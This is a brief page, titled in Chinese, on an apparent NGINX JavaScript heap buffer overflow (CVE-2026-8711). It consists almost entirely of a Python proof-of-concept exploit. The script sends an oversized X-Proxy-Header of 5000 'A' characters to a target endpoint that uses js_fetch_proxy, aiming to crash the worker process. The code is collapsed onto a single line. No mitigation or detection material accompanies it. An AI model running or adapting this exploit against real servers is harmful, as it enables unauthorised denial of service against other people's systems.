CVE-2026-8711 NGINX JavaScript堆缓冲区溢出漏洞

/* * Conceptual Proof of Concept (PoC) for CVE-2026-8711 * This script demonstrates how to send a malicious request to trigger the * heap buffer overflow in NGINX JavaScript when js_fetch_proxy uses * client-controlled variables. */ import requests def send_exploit(target_url): # Assumption: The server config uses js_fetch_proxy with $http_x_proxy_header # e.g., js_fetch_proxy "http://backend$http_x_proxy_header"; # Constructing a payload designed to trigger the buffer overflow. # The length and content may vary based on the specific memory layout. payload = "A" * 5000 headers = { "User-Agent": "CVE-2026-8711-Exploit", "X-Proxy-Header": payload # Malicious client-controlled variable } try: print(f"Sending exploit request to {target_url}...") response = requests.get(target_url, headers=headers, timeout=5) print(f"Request completed with status: {response.status_code}") # If successful, the worker process may crash, causing a 502 or connection reset except requests.exceptions.RequestException as e: print(f"Connection error (potential crash): {e}") if __name__ == "__main__": target = "http://example.com/vulnerable_endpoint" send_exploit(target)